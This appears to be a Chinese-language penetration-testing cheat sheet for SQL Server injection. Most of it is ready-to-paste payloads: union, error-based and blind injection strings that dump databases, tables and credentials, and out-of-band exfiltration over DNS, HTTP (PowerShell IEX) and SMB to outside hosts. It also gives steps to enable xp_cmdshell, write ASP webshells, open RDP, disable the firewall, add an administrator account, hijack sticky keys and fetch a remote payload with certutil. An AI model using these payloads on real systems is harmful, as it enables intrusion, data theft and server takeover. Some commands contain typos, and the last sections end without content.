MSSql注入

1. 定义

  • 使用****微软开发的Sql Server数据库来进行网站搭建

2. 技战法

  1. SQL注入查登录用户Hash

    • 查询登录用户的HASH密码
    id=0' union select 1,2,(select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name='sa')--+'
    #利用函数强制转换为16进制,避免受到格式的影响
    

    **Hash格式:**0x0100(头部) + 8位salt + 40位区分大小写的hash

  2. 扩展存储过程xp_cmdshell执行命令

  3. 系统存储过程sp_oacreate + sp_oamethod执行命令

  4. 扩展存储过程xp_regwrite写注册表(映像劫持、远程桌面、开机启动项等)

  5. 利用CLR组件执行系统命令

  6. 系统存储过程sp_addextendproc恢复组件

  7. 差异备份写webshell

  8. 日志备份写webshell


3. 权限角色

(1). 固定服务器角色

a. 包含
固定服务器角色 说明
sysadmin 执行SQLServer中的任何动作
serveradmin 配置服务器设置
setupadmin 安装、复制和管理扩展过程
securityadmin 管理登录、数据库创建的权限以及阅读审计
processadmin 管理SQLServer进程
dbcreator 创建和修改数据库
diskadmin 管理磁盘文件
b. 使用
  1. 通过 and 1=(select is_srvrolemember('sysadmin'))来判断服务器权限

  2. 添加、删除固定服务器角色成员

    • 只有固定服务器角色的成员来能执行这2个系统过程
    sp_addsrvrolemember
    sp_dropsrvrolemember
    

(2). 固定数据库角色

a. 包含
  • 通过 and 1=(select if_member('db_owner'))来判断数据库权限
固定数据库角色 说明
db_owner 可以执行数据库中几乎所有动作的用户
db_accessadmin 可以添加、删除用户的用户
db_datareader 可以查看所有数据库中用户表内数据的用户
db_datawriter 可以添加、修改或删除所有数据库中用户表内数据的用户
db_ddladmin 可以在数据库中执行所有DDL操作的用户
db_backoperator 可以备份数据库的用户
db_denydatareader 不能看到数据库中任何数据的用户
db_denydatawriter 不能改变数据库中任何数据的用户
public 提供了所有默认权限

4. 内置表

视图表 说明
sys.databases(新式) 所有数据库
sys.tables(新式) 所有表
sys.columns(新式) 所有字段
sys.sql_login 所有登录名
information_schema.schemata 当前用户数据库中的角色
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的列
sys.all_columns 所有列的集合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中的数据库文件
sys.sysdatabases(旧式) 数据库中创建的每个数据库
sys.sysobjects(旧式) 数据库中创建的每个对象
sys.syscolumns(旧式) 数据库中的所有字段名

5. 注入类型

(1). 联合注入

1. 获取当前数据库名
	id=0' union select top 1 1,2,db_name() --+
	id=0' union select top 1 1,2,name from master.sys.databases  --+
2. 获取其他数据库名
	id=0' union select top 1 1,2,name from master.sys.databases where name not in (select top m name from master.sys.databases) --+		'#m表示除当前数据库外的其他名称
3. 获取当前表名
	id=0' union select top 1 1,2,table_name from information_schema.tables --+   '
4. 获取所有表名
	id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in(select top m table_name from information_schema.tables)  --+	'#m代表表位置
5. 获取当前列名
	id=0' union select top 1 1,2,column_name from information_schema.columns --+'
6. 获取所有列名
	id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and column_name not in (select top m column_name from information_schema.columns where table_name='users') --+	'#m代表字段位置
7. 获取当前数据
	id=0' union select top 1 1,username,password from users --+		'
8. 获取所有数据
	id=0' union select top 1 1,username,password from users where username not in(select top m username from users) and password not in(select top m password from users) --+		'#m代表第几行数据

(2). 报错注入

a. 方式
  • 1 = 语句
  • 语句 > 0
b. 涉及函数

quotename(字段)、cast(name as int)、convert(int,name)

#1. quotename函数
	id=1 and 1=(select quotename(count(name) from sys.databases where database_id=1)) --+
#2. cast函数
	id=1 and 1=(select cast(name as int) from sys.databases where database_id=1) --+
#3. convert函数
    id=1 and 1=(select convert(int,name) from sys.databases where database_id=1) --+
c. 注入流程
①获取数据库信息
#1. 判断注入点
	id=1'			'#报错,	=>		字符型
	id=1 and 1=1	#返回正常
	id=1 and 1=2	#返回错误		=>  数字型
#2. 判断是否为MSSQL数据库
	id=1 and exists(select * from sysobjects) --+	#返回正常为mssql
	id=1 and exists(select count(*) from sysobjects) --+
#3. 判断数据库版本号
	id=1 and @@version>0 --+
	#@@version为mssql的全局变量,暴露出数据库信息
#4. 判断当前服务器角色是否拥有比较高的权限
	id=1 and 1=(select is_srvrolemember('sysadmin')) --+	#是否为sysadmin权限
#5. 判断当前数据库角色是否为DB_OWNER
	id=1 and 1=(select is_member('db_owner')) --+	 	#是否为db_owner权限
#6. 获取当前用户名字
	id=1 and user_name()>0 --+
②获取数据库名
#1. 获取当前数据库
	id=1 and db_name()>0 --+
    id=1 and 1=db_name() --+
#2. 获取数据库的个数
	id=1 and 1=(select quotename(count(name) from master.sys.dbo.databases)) --+
#3. 获取所有数据库名 
	id=1 and (select name from master.sys.dbo.databases where database_id=1)>0 #
	or
	id=1 and 1=(select quotename(name) from master.sys.dbo.databases FOR XML PATH('')) --+
③获取表名
#1. 获取第一个表名
	id=1 and 1=(select top 1 table_name from information_schema.tables) --+
#2. 获取其他表名
	id=1 and 1=(select top 1 table_name from information_schema.tables where table_name not in(select top m table_name from information_schema.tables)) --+		#m为第几个表
	or
	id=1 and 1=(select quotename(table_name) from information_schema.tables FOR XML PATH('')) -+
④获取字段名
#1. 获取当前字段名
	id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='users') --+
#2. 获取所有字段名
	id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','username','password')) --+		#后面跟表的字段
	or
    id=1 and 1=(select quotename(column_name) from information_schema.columns where table_name='users' FOR XML PATH('')) --+
⑤具体数据
#1. 获取数据
	id=1 and 1=(select password from users where id=1) --+
	or
    id=1 and 1=(select quotename(username),quotename(password) from users FOR XML PATH('')) --+

(3). 布尔盲注

a. 涉及函数

ascii()、substring()

b. 注入流程
①数据库信息
②库名长度、库名
#1. 判断第一个数据库名长度
	1 and len(db_name()) >m --+		#m表示长度
#2. 获取数据库名
	id=1 and (ascii(substring((select top 1 name from sys.sysdatabases),n,1),1,1)=m)  --+	#n表示第几个字符,m表示ascii范围
③表名长度、表名
#1. 判断第一张表名长度
	id=1 and len((select top 1 table_name from information_schema.tables))>10 --+		#m表示长度
#2. 暴力破解第一张表名
	1 and ascii(substring((select top 1 table_name from information_schema.tables),n,1))=m --+	#n表示第几个字符,m表示ascii范围
④字段名长度、字段名
#1. 判断第一张表第一个字段名长度
	id=1 and len((select top 1 column_name from information_schema.columns))>10 --+		#m表示长度

使用二分法,判断出字段名长度为2
#2. 暴力破解第一张表第一个字段名
	1 and ascii(substring((select top 1 column_name from information_schema.columns),n,1))=m --+	#n表示第几个字符,m表示ascii范围
⑤具体数据
#1. 判断第一行数据第一个字段的长度
	id=1 and len((select top 1 id from emails))=m --+	#m表示长度
#2. 暴力破解该数据

(4). 时间盲注

a. 涉及函数

WAITFOR DELAY 'h:m:s'、ascii()、substring()

b. 注入流程
①获取数据库信息
②库名长度、库名
#1.	判断数据库名长度
	id=1 if(len(db_name()) >m) waitfor delay '0:0:5' --+	#m表示长度

#2. 暴力破解数据库名
	id=1 if(ascii(substring((select db_name()),n,1))=m) waitfor delay '0:0:5' --+	#n表示第几个字符,m表示ascii范围
③表名长度、表名
#1. 判断第一张表名长度
	1 if(len((select top 1 table_name from information_schema.tables))>m) waitfor delay '0:0:5' --+		#m表示长度
#2. 暴力破解第一张表名
	1 if(ascii(substring((select top 1 table_name from information_schema.tables),n,1))=m) waitfor delay '0:0:5' --+	#n表示第几个字符,m表示ascii范围
④字段名长度、字段名
#1. 判断第一张表第一个字段名长度
1 if(len((select top 1 column_name from information_schema.columns))>m) waitfor delay '0:0:5' --+		#m表示长度
#2. 暴力破解第一张表第一个字段名
1 if(ascii(substring((select top 1 column_name from information_schema.columns),n,1))=m) waitfor delay '0:0:5' --+		#n表示第几个字符,m表示ascii范围
⑤具体数据
#1. 判断第一行第一个字段的数据长度
1 if(len((select top 1 id from emails))>m) waitfor delay '0:0:5' --+	#m表示长度
#2. 暴力破解数据内容

(5). 数据外带


a. DNS
①获取数据库
id=1;declare @a varchar(8000);set @a=db_name();exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+

②获取表
#1. 获取当前表名
   id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
#2. 获取所有表名 
   id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables where table_name not in (select top 2 table_name from information_schema.tables)) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --

③获取字段
#1.获取当前字段名
   id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
#2.获取所有字段名
	id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns where column_name not in (select top 2 column_name from information_schema.columns)) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+

④具体数据

b. HTTP
①数据库名
id=1;declare @a varchar(8000);set @a=db_name();exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+

②表名
id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables);exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+

③字段名
id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns);exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+


c. SMB
①数据库名
id=1;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2b'192.168.172.100\\'%2b@a%2b'.txt"') --+
②表名
id=1;declare @a varchar(1024);set @a=(select top 1 table_name from information_schema.tables);exec('master..xp_subdirs "//'%2b'192.168.172.100\\'%2b@a%2b'.txt"') --+
③字段名
id=1;declare @a varchar(1024);set @a=(select top 1 column_name from information_schema.columns);exec('master..xp_fileexist "//'%2b'192.168.71.11\\'%2b@a%2b'.txt "') --+

6. 存储过程

(1). 定义

  • 一组为了完成特定功能的****SQL语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称给出参数来执行

(2). 系统存储过程

  • **以 **sp_ 开头
a. 利用条件
  1. 已获取到****sqlserver sysadmin权限用户的账号与密码、且未降权(2019版本sa用户权限为mssqlserver)
  2. sqlserver****允许远程连接
  3. 已****开启sp_oacreate
  4. OLE Automation Proccedures选项开启

b. 语法
  1. sp_oacreate是创建OLE对象的****实例
    • sp_oacreate可以用于****对文件删除、复制、移动等操作,可配合sp_oamethod调用系统wscript.shell来执行系统命令
      语法
      	EXEC sp_OACreate @ProgID(@CLSID), @Object OUTPUT;
      
  2. sp_oamethod是一个调用OLE对象的****方法
    • 与sp_oacreate结合使用,分别用于****创建执行脚本语言
      语法:
      	EXEC sp_OAMethod @Object, @MethodName, @ReturnValue OUTPUT, [@Parameter1, @Parameter2, ...];
      
  3. 组合sp_oacreate、sp_oamethod可执行命令,但****无回显

c. 流程
  1. 启用sp_oacreate
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'Ole Automation Procedures',1;
    RECONFIGURE WITH OVERRIDE;
    
  2. 执行系统命令

d. 利用方法
①只使用2个方法
  1. 执行命令
declare @shell int EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run','null','c:\windows\system32\cmd.exe /c whoami > c:\\1.txt' 
	拆分如下:
declare @shell int 		//定义变量shell
EXEC sp_oacreate 'wscript.shell',@shell output 		//创建一个 WScript.Shell对象,并将其句柄赋值给变量shell
EXEC sp_oamethod @shell,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt' //通过shell来执行系统命令
  1. 写Webshell
declare @o int,@f int,@ret int
EXEC sp_oacreate 'scripting.filesystemobject', @o out
EXEC sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\shell.asp',1
EXEC @ret=sp_oamethod @f,'writeline',NULL,'<%25execute(request("cmd"))%25>'

②2个方法+COM组件
declare @luan int,@exec int,@text int,@str varchar(8000);
EXEC sp_oacreate ' ',@luan output;	//该句柄对应Wscript.Shell
EXEC sp_oamethod @luan,'exec',@exec output,'C:\windows\system32\cmd.exe /c whoami';
EXEC sp_oamethod @exec,'stdOut',@text out;
EXEC sp_oamethod @test,'readall',@str out;
select @str;

③使用工具
  • 使用****SharpSQLTools,可实现上传、下载文件,xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应功能
SharpSQLTools.exe 192.168.172.150 sa[username] ICQsafe666[password] master enable_ole
SharpSQLTools.exe 192.168.172.150 sa[username] ICQsafe666[password] master sp_oacreate whoami

(3). 本地存储过程

  • 利用CLR(Common Language Infrastruvture,公共语言基础结构,使用工具****SharpSQLTools
SharpSQLTools.exe 192.168.172.150 [username] [password] master install-clr
SharpSQLTools.exe 192.168.172.150 [username] [password] master enable_clr
SharpSQLTools.exe 192.168.172.150 [username] [password] master clr_efspotato whoami

(4). 扩展存储过程

  • xp_ 开头,主要使用外部程序语言编写的存储过程
a. 使用前提
  1. 当前用户拥有****DBA权限
  2. 依赖于****xplog70.dll
  3. 存储过程存在并已启用
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE WITH OVERRIDE;
    
b. 流程
  1. 判断是否为DBA权限
    select is_srvrolemember('sysadmin');
    
  2. 查看是否存在xp_cmdshell
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    
  3. 开启xp_cmdshell
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE WITH OVERRIDE;
    
  4. 指令执行完毕后,关闭xp_cmdshell
    EXEC sp_configure 'show advanced options',1;
     RECONFIGURE WITH OVERRIDE;
     EXEC sp_configure 'xp_cmdshell',0;
     RECONFIGURE WITH OVERRIDE;
    
c. 常见函数
①xp_cmdshell
  • 添加与删除
    --  1. 删除xp_cmdshell扩展存储过程
    	EXEC sp_dropextendedproc 'xp_cmdshell'
    --  2. 重新添加xp_cmdshell扩展存储过程
    	EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;
    	sp_addextendedproc 'xp_cmdshell','xpsql70.dll';
    --  3. 彻底删除xp_cmdshell扩展存储过程
    	在C盘里直接搜索xplog70.dll,然后删除xp_cmdshell
    
②xp_subdirs
  • 读取文件夹内的文件夹列表
    --得到给定文件夹内的文件夹列表
    	EXEC master..xp_subdirs 'c:\';
    

③xp_dirtree
  • 显示子目录,有3个参数,分别是

  •  --   -directory
         要查询的目录
     --   -depth
         显示子目录的深度
     --   -file
         是否显示子目录中的文件,默认为0,即不显示任何文件,只显示子目录
    
    -- 1. 显示C盘所有文件和目录
     	EXEC master..xp_dirtree 'c:\';
    -- 2. 显示C盘所有目录
        EXEC master..xp_dirtree 'c:\',1;
    -- 3. 显示指定目录下的目录和文件
        EXEC master..xp_dirtree 'C:\inetpub\',1,1;
    

④xp_create_subdir()
  • 用于创建子目录
    --  在C盘下创建test文件夹
    	EXEC master..xp_create_subdir 'c:\test';
    
⑤xp_fileexist()
  • 判断文件是否存在,返回有3个字段的数据,分别是(是否为****文件,是否为目录,是否有父目录)
    EXEC master..xp_fileexist 'c:\windows\win.ini';
    
⑥xp_regwrite()、xp_regread()
  • 用于对****注册表进行修改读取,替换成任意值,造成映像劫持
d. 利用方法
①写Webshell
--  1. 查询web根目录路径
	EXEC master..xp_cmdshell 'where /r c:\*.asp'
--  2. 利用xp_cmdshell写Webshell,找绝对路径可以where命令和其他扩展存储过程组合利用
	EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > c:\intepub\wwwroot\shell.asp'	--Windows的转义符为^,Linux的转义符为 \
②远程桌面上线
--  1. 查看是否禁用xp_cmdshell
    id=0 union select 1,2,count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell' --+
    or
    id=1 and 1=(select count(*) from master.sys.sys.objects where name='xp_cmdshell') --+
--  2. 开启xp_cmdshell
	id=0;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --+
--  3. 测试是否成功
	id=1;EXEC master.sys.xp_cmdshell 'ping -n 1 Laffrex.eyes.sh' --+
--  4. 开启RDP服务
	id=1;EXEC master.sys.xp_cmdshell 'REG ADD HELM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' --+  
--  5. 关闭防火墙
	id=1;EXEC master.sys.xp_cmdshell 'netsh firewall set opmode disable' --+
--  6. 添加登录用户
	id=1;EXEC master.sys.xp_cmdshell 'net user admin 1qaz!QAZ /add' --+
	id=1;EXEC master.sys.xp_cmdshell 'net localgroup administrators admin /add' --+
③映像劫持
  1. 未禁止注册表编辑(即写入功能)
  2. xp_regwrite启用
    --  检测是否启用
    	select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
    --  启用
    	EXEC sp_configure 'show advanced options',1
    RECONFIGURE
    	EXEC sp_configure 'xp_regwrite',1
    RECONFIGURE
    
--  1. 将粘滞键启动结果替换成cmd命令窗口启动
	EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\Sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
--  2. 开启3389端口
	EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
	or
EXEC master..xp_cmdshell 'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' 
④powershell上线cs
id=1;EXEC master..xp_cmdshell 'certutil.exe -f -split -urlcache http://192.168.172.150:9090/payload64.txt c:\\inetpub\\wwwroot\\payload1.bat' --+
    	id=1';EXEC master..xp_cmdshell 'c:\\inetpub\\wwwroot\\payload1.bat' --+
⑤结合工具
--  SharpSQLTools利用xp_cmdshell
    	SharpSQLTools.exe 192.168.172.150 [username] [password] master enable_xp_cmdshell
    	SharpSQLTools.exe 192.168.172.150 [username] [password] master xp_cmdshell whoami

(5). Getshell

a. 条件
  1. web路径已知
  2. sa或DBA权限(db_owner权限)
b. 方法
  • 涉及到****xp_cmdshell、xp_dirtree、xp_subdirs、xp_regread存储过程
①利用存储过程写shell
  1. xp_cmdshell
    EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > c:\inetpub\wwwroot\shell.asp';
    
  2. sp_oacreate
    declare @o int,@f int,@t int,@ret int
    EXEC sp_oacreate 'scripting.filesystemobject',@o OUT
    EXEC sp_oamethod @o,'createtextfile',@f OUT,'c:\inetpub\wwwroot\shell.asp',1
    EXEC @ret=sp_oamethod @f,'writeline',NULL,'^<%execute(request("cmd"))%^>'
    
  3. 本地存储过程CLR’
    直接利用sharpSQLTools执行命令写shell进行利用
    
②log备份写shell
  1. 优点
    1. 重复性好,多次备份的成功率高
    2. 相对于差异备份而言,shell的体积小
  2. 利用条件
    1. 至少DBO权限,默认SA满足
    2. 知道绝对路径且目录可写
    3. 站库不分离,数据库和网站在同一台服务器
    4. 数据库必须被备份过一次
  3. 操作
    log日志备份
③差异备份写shell
  1. 特点
    1. 容错率较差,条件相对苛刻
  2. 利用条件
    1. 至少DBO权限
    2. 知道绝对路径且目录可写
    3. HTTP 500错误不是自定义
    4. 站库不分离,数据库中不能存在%
    5. 数据量不能太大
  3. 操作